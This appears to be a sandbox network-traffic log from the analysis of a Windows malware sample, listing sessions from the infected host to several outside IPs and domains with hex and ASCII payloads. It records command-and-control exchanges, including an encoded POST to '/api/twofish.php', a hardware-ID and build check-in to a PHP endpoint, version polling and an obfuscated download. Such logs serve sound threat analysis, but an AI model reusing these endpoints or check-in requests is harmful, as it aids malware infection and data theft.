Aug 21, 2024 08:32:13.860404015 CEST	1236	IN	Data Raw: 8d 70 50 eb 22 48 8d 70 58 eb 1c 48 8d 70 38 eb 16 48 8d 70 38 eb 10 48 8d 70 50 66 90 eb 08 48 8d 70 30 eb 02 31 f6 48 85 f6 74 2d 0f b7 56 06 66 85 d2 75 06 31 d2 31 f6 eb 0f 8b 7e 08 48 01 fe 48 81 fa 00 00 01 00 77 1c 48 89 f0 48 89 d3 48 89 Data Ascii: pP"HpXHp8Hp8HpPfHp01Ht-Vfu11~HHwHHHH]11HH]I;fv-UHHHHuH@@H]HH]HD$tHD$H@@
Aug 21, 2024 08:32:13.860524893 CEST	1236	IN	Data Raw: 8d 3c 79 0f b6 34 30 66 90 48 85 ff 7c 2b 41 89 f0 83 e6 7f 49 89 c9 48 89 f9 48 d3 e6 48 83 f9 40 48 19 ff 48 21 fe 48 01 f2 41 f6 c0 80 75 c3 49 8d 41 01 48 89 d3 5d c3 e8 eb 78 03 00 90 cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 48 85 c0 74 06 Data Ascii: <y40fH\|+AIHHH@HH!HAuIAH]xUHHt111]HHHHIHYHH<HH\|:?AHHHH@HH!HAuHu~_1]nxI;fUHHt1111]HKHH4I
Aug 21, 2024 08:32:13.860537052 CEST	1236	IN	Data Raw: 48 39 d3 75 0a 48 8b 54 24 70 48 85 d2 eb 20 48 89 d0 48 89 f9 e8 9b 98 06 00 48 8b 54 24 70 48 85 d2 48 8b 84 24 a0 00 00 00 48 8b 4c 24 60 66 0f 1f 44 00 00 0f 84 e0 00 00 00 48 8b 74 24 48 48 39 f1 0f 82 e6 00 00 00 48 8b 7c 24 68 48 29 f9 48 Data Ascii: H9uHT$pH HHHT$pHH$HL$`fDHt$HH9H\|$hH)HyIHH?H!HH\|$PLOM9MMLH$H9uM9TLL$@HL$xLT$hH$HLHD$@HL$hH9HT$pH$H\|$PIIH$HL$xwDH)HHHH?L!
Aug 21, 2024 08:32:13.865127087 CEST	1236	IN	Data Raw: 08 eb be 4c 8d 6c 24 18 4d 39 2c 24 75 ca 49 89 24 24 eb c4 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 4d 8b 66 20 4d 85 e4 75 5f 48 85 c0 74 54 48 8b 10 31 c0 31 c9 eb 06 48 ff c0 48 89 f1 48 8d 34 03 48 8d 3c 40 48 8d 3c 78 0f b6 34 32 Data Ascii: Ll$M9,$uI$$UHMf Mu_HtTH11HHH4H<@H<x42H\|+AIHHH@HH!LAuHH]nLl$M9,$uI$$I;fv+UHHMf Mu+HtHH]HD$EfHD$Ll$M9,$uI$$
Aug 21, 2024 08:32:13.865139961 CEST	1224	IN	Data Raw: 15 75 06 48 8b 48 30 eb 02 31 c9 48 89 c8 c3 4c 8d 6c 24 08 4d 39 2c 24 75 dc 49 89 24 24 eb d6 cc cc cc cc cc cc cc cc cc cc cc cc cc 4d 8b 66 20 4d 85 e4 75 08 0f b6 40 17 83 e0 1f c3 4c 8d 6c 24 08 4d 39 2c 24 75 ed 49 89 24 24 eb e7 cc cc cc Data Ascii: uHH01HLl$M9,$uI$$Mf Mu@Ll$M9,$uI$$Mf MuHHuHH@1HLl$M9,$uI$$Mf MuHHHELl$M9,$uI$$I;fv
Aug 21, 2024 08:32:13.865264893 CEST	1236	IN	Data Raw: 2c 24 75 ea 49 89 24 24 eb e4 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4d 8b 66 20 4d 85 e4 75 0b 0f b6 48 17 f6 c1 20 0f 94 c0 c3 4c 8d 6c 24 08 4d 39 2c 24 75 ea 49 89 24 24 eb e4 cc cc cc cc cc cc cc cc Data Ascii: ,$uI$$Mf MuH Ll$M9,$uI$$Mf MuHHHELl$M9,$uI$$Mf MuH Ll$M9,$uI$$Mf Mu@
Aug 21, 2024 08:32:13.865277052 CEST	1236	IN	Data Raw: 1d 48 29 d9 48 89 ca 48 f7 da 48 c1 fa 3f 48 21 d3 48 8d 04 1e 48 89 cb 48 83 c4 10 5d c3 48 89 d8 e8 4b 7c 06 00 48 85 f6 74 06 e8 81 df 05 00 90 e8 1b e0 05 00 e8 76 df 05 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 61 58 06 00 48 8b Data Ascii: H)HHH?H!HHH]HK\|HtvHD$H\$HL$aXHD$H\$HL$mLl$ M9,$mI$$dMf MuHLl$M9,$uI$$Mf MuH Ll$M9,$uI$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49723	162.241.63.30	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.262782097 CEST	168	OUT	Data Raw: 16 03 03 00 a3 01 00 00 9f 03 03 66 c5 89 ec 2c 8d 8d 9d f9 98 6b c6 60 36 66 48 3c a1 16 31 94 aa 47 ab 22 46 fd c7 5b 87 b8 a5 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f,k`6fH<1G"F[&,+0/$#('=<5/Psiscorp.mx#
Aug 21, 2024 08:32:13.757173061 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:13 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49724	162.241.63.30	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.262883902 CEST	168	OUT	Data Raw: 16 03 03 00 a3 01 00 00 9f 03 03 66 c5 89 ec b5 37 da f8 04 86 ac bd 1c 9a 60 ee 13 b2 d9 20 04 1a 22 b2 98 0b 87 3c 95 41 67 7e 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f7` "<Ag~&,+0/$#('=<5/Psiscorp.mx#
Aug 21, 2024 08:32:13.739347935 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:13 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49726	162.241.63.30	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.745060921 CEST	114	OUT	Data Raw: 16 03 01 00 6d 01 00 00 69 03 01 66 c5 89 ed 10 8e 82 68 92 52 90 a8 13 3b a4 f5 06 1f c2 bb fc af 23 2d ac 1a c7 89 57 88 ae 58 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 32 00 00 00 0f 00 0d 00 00 0a 73 69 73 63 6f 72 70 2e 6d Data Ascii: mifhR;#-WX5/2siscorp.mx#
Aug 21, 2024 08:32:14.234252930 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:14 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49727	162.241.63.30	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.763680935 CEST	114	OUT	Data Raw: 16 03 01 00 6d 01 00 00 69 03 01 66 c5 89 ed df 75 40 9a 71 b2 5a 7c ab 4a a7 3a ce 54 78 0f 2c 9e 33 b8 1e f1 8b 33 e1 ec 6d f3 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 32 00 00 00 0f 00 0d 00 00 0a 73 69 73 63 6f 72 70 2e 6d Data Ascii: mifu@qZ\|J:Tx,33m5/2siscorp.mx#
Aug 21, 2024 08:32:14.250454903 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:14 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49736	193.233.232.86	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:24.017479897 CEST	289	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 477 Host: 193.233.232.86
Aug 21, 2024 08:32:24.017496109 CEST	477	OUT	Data Raw: 64 61 74 61 3d 68 46 6c 35 56 68 6e 54 53 2d 54 44 30 53 30 37 2d 39 65 66 33 51 4b 34 57 34 33 6c 50 57 63 74 58 7a 4a 4f 30 6e 6a 57 50 65 61 66 78 71 56 79 6f 56 62 58 35 78 78 71 54 72 51 56 46 69 4f 46 56 48 73 44 77 33 6d 71 33 71 36 61 48 Data Ascii: data=hFl5VhnTS-TD0S07-9ef3QK4W43lPWctXzJO0njWPeafxqVyoVbX5xxqTrQVFiOFVHsDw3mq3q6aHDnPCHkkXTiu9qtjMnUarnzyXnkobGyt9PKumYjgqIVH_-UUMxgR52PsDsZWMIX9LSf86i82DQ7-qBT_ZDbIpj5-DNaLtqXchzZVxRYDcR4qAUoH-G0-97sWqghPIBInm1NegB0N9wyG-bIzljzDwm2KfIv4KHxoQj
Aug 21, 2024 08:32:26.287831068 CEST	363	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6d 38 32 6e 44 52 64 4a 55 62 51 51 41 2b 4a 2b 66 5a 75 36 55 4b 54 69 75 67 50 48 6b 53 69 45 51 43 31 67 76 45 67 39 51 4a 6a 66 79 69 35 4e 43 70 2f 50 48 6c 36 50 47 35 69 4c 61 49 75 35 4c 37 4e 69 78 4d 2f 6b 6e 54 70 37 71 57 4a 53 4a 74 6c 6f 49 71 4d 30 72 66 50 4d 62 67 32 51 2b 46 2b 4c 51 42 6d 42 4f 36 77 3d Data Ascii: m82nDRdJUbQQA+J+fZu6UKTiugPHkSiEQC1gvEg9QJjfyi5NCp/PHl6PG5iLaIu5L7NixM/knTp7qWJSJtloIqM0rfPMbg2Q+F+LQBmBO6w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49739	193.176.190.41	80	4896	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:27.034836054 CEST	89	OUT	GET / HTTP/1.1 Host: 193.176.190.41 Connection: Keep-Alive Cache-Control: no-cache
Aug 21, 2024 08:32:27.633832932 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 21, 2024 08:32:27.641644001 CEST	415	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 193.176.190.41 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 31 35 37 41 42 37 35 35 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="hwid"3C157AB7558C1730677652------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build"default------AECFCAAECBGDGDHIEHJE--
Aug 21, 2024 08:32:27.853743076 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49758	185.22.66.16	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:07.400315046 CEST	380	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.rapidfilestorage.com Connection: Keep-Alive
Aug 21, 2024 08:33:08.190829039 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 21 Aug 2024 06:33:08 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=edcb28b42d85b7b34f0a25708647e4c0; Path=/; Secure; HttpOnly Last-Modified: Thu, 15 Aug 2024 17:00:14 GMT ETag: "66be341e-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.16 X-Resolver-IP: 185.22.66.16 Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49760	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:08.286387920 CEST	372	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?SidNhALqeWMHeUVSaoUjPLUFvKDZLJRHn HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: helsinki-dtc.com Connection: Keep-Alive
Aug 21, 2024 08:33:09.977663994 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:33:09 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Thu, 15 Aug 2024 17:13:19 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66be372f-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49762	18.239.236.83	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:10.152110100 CEST	384	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: skrptfiles.tracemonitors.com Connection: Keep-Alive
Aug 21, 2024 08:33:10.754003048 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Thu, 15 Aug 2024 17:13:25 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 20 Aug 2024 17:47:29 GMT ETag: "17c89252835fdab937f9923cdf66e3bf" X-Cache: Hit from cloudfront Via: 1.1 04bd924a346a4c275fc7e49401769a76.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR5-P6 X-Amz-Cf-Id: VRYMniTPwe6N0I6zT3cpP99dFrbvMvjwY6NAFgGDLQ-uEpphd2-_4w== Age: 46066
Aug 21, 2024 08:33:10.889079094 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49767	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:18.627351046 CEST	380	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.rapidfilestorage.com Connection: Keep-Alive
Aug 21, 2024 08:33:19.406131029 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 21 Aug 2024 06:33:19 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=5012b46cae0689492d7fd47bddf2daaf; Path=/; Secure; HttpOnly Last-Modified: Thu, 15 Aug 2024 17:00:14 GMT ETag: "66be341e-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49768	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:18.809134007 CEST	116	OUT	GET /clrls/cl_rls.json HTTP/1.1 Host: www.rapidfilestorage.com Connection: Keep-Alive Cache-Control: no-cache
Aug 21, 2024 08:33:19.589317083 CEST	1236	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 21 Aug 2024 06:33:19 GMT Content-Type: application/json Content-Length: 50997 Connection: keep-alive Set-Cookie: slb_route=7a3a2467745113d9c45cd9e9d2dad299; Path=/; Secure; HttpOnly Last-Modified: Tue, 13 Aug 2024 11:20:09 GMT ETag: "66bb4169-c735" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 2d 47 72 53 38 56 73 53 36 51 72 53 33 45 72 53 37 46 72 53 35 5b 72 53 37 7a 71 53 32 45 72 53 35 5c 72 53 34 56 73 53 34 4e 73 53 32 58 73 53 39 47 72 53 35 56 73 53 32 57 72 53 35 56 73 53 30 4e 73 53 37 58 73 53 33 61 71 53 35 56 73 53 36 59 71 53 34 5a 72 53 36 45 72 53 30 46 72 53 37 56 72 53 31 5b 72 53 35 43 72 53 38 5c 72 53 36 60 71 53 36 59 72 53 32 5d 72 53 32 55 72 53 37 56 73 53 35 64 73 53 31 58 73 53 32 56 73 53 33 63 71 53 37 60 71 53 37 70 71 53 37 5b 72 53 33 43 72 53 34 5c 72 53 33 5e 72 53 31 5b 72 53 33 51 72 53 32 56 72 53 36 55 72 53 35 7a 71 53 39 56 73 53 36 64 73 53 39 58 73 53 32 56 73 53 35 45 72 53 30 6a 71 53 35 51 72 53 31 7a 71 53 30 56 73 53 34 64 73 53 34 58 73 53 34 56 73 53 32 5e 73 53 32 49 72 53 39 4f 72 53 37 6b 71 53 31 45 72 53 31 46 72 53 38 5b 72 53 37 78 71 53 37 51 72 53 31 45 72 53 31 5c 72 53 33 4f 72 53 33 5a 72 53 37 65 71 53 36 56 73 53 31 64 73 53 31 58 73 53 38 56 73 53 30 44 72 53 31 43 72 53 39 56 72 53 32 7a 71 53 30 44 72 53 31 51 72 53 38 5a [TRUNCATED] Data Ascii: -GrS8VsS6QrS3ErS7FrS5[rS7zqS2ErS5\rS4VsS4NsS2XsS9GrS5VsS2WrS5VsS0NsS7XsS3aqS5VsS6YqS4ZrS6ErS0FrS7VrS1[rS5CrS8\rS6`qS6YrS2]rS2UrS7VsS5dsS1XsS2VsS3cqS7`qS7pqS7[rS3CrS4\rS3^rS1[rS3QrS2VrS6UrS5zqS9VsS6dsS9XsS2VsS5ErS0jqS5QrS1zqS0VsS4dsS4XsS4VsS2^sS2IrS9OrS7kqS1ErS1FrS8[rS7xqS7QrS1ErS1\rS3OrS3ZrS7eqS6VsS1dsS1XsS8VsS0DrS1CrS9VrS2zqS0DrS1QrS8ZrS1YrS5FrS3BrS0VsS9dsS3XsS2VsS0]qS0UrS0PrS9ZqS5ErS7^rS8UrS1zqS9VsS6dsS7XsS3VsS2uqS4\rS4UrS7FrS8QrS0PrS9PrS1UrS0zqS1VsS7dsS2XsS9VsS6yqS6]rS3VrS9TrS1zqS3WrS5VsS8dsS0XsS9VsS1wqS7YrS3OrS0zqS3[rS1yqS9[rS1TrS5FrS9XsS5^qS2YrS8yqS8ErS5QrS9^rS6XsS2YqS5FrS8ErS0VrS6YrS5[rS6VsS6gqS6dsS0XsS6VsS2DrS9VsS6NsS6XsS6aqS8VsS3^sS6YqS4ZrS9ErS9FrS2VrS0[rS4CrS6\rS1`qS6YrS1]rS0UrS4VsS3gqS4MrS3dsS5XsS6VsS2OrS5ZrS9zqS7[r